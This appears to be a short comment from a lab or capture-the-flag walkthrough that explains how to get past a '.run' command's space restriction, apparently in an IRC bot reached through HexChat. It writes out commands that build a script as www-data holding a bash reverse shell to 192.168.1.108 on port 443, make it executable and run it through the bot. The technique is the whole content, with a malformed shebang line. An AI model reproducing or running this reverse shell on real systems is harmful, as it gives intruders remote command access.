I'd faced issue while executing any command using
.run command as it doesn't supporting white spaces and raising exception(for example
I figured up it by creating a .sh file with limited privledge session(www-data) in /html directory.
echo "#! bin/bash" > abc.sh echo $'\n' >> abc.sh echo "bash -i >& /dev/tcp/192.168.1.108/443 0>&1" >>abc.sh chmod +x abc.sh
Now in hexchat exexcute: .run /var/www/html/abc.sh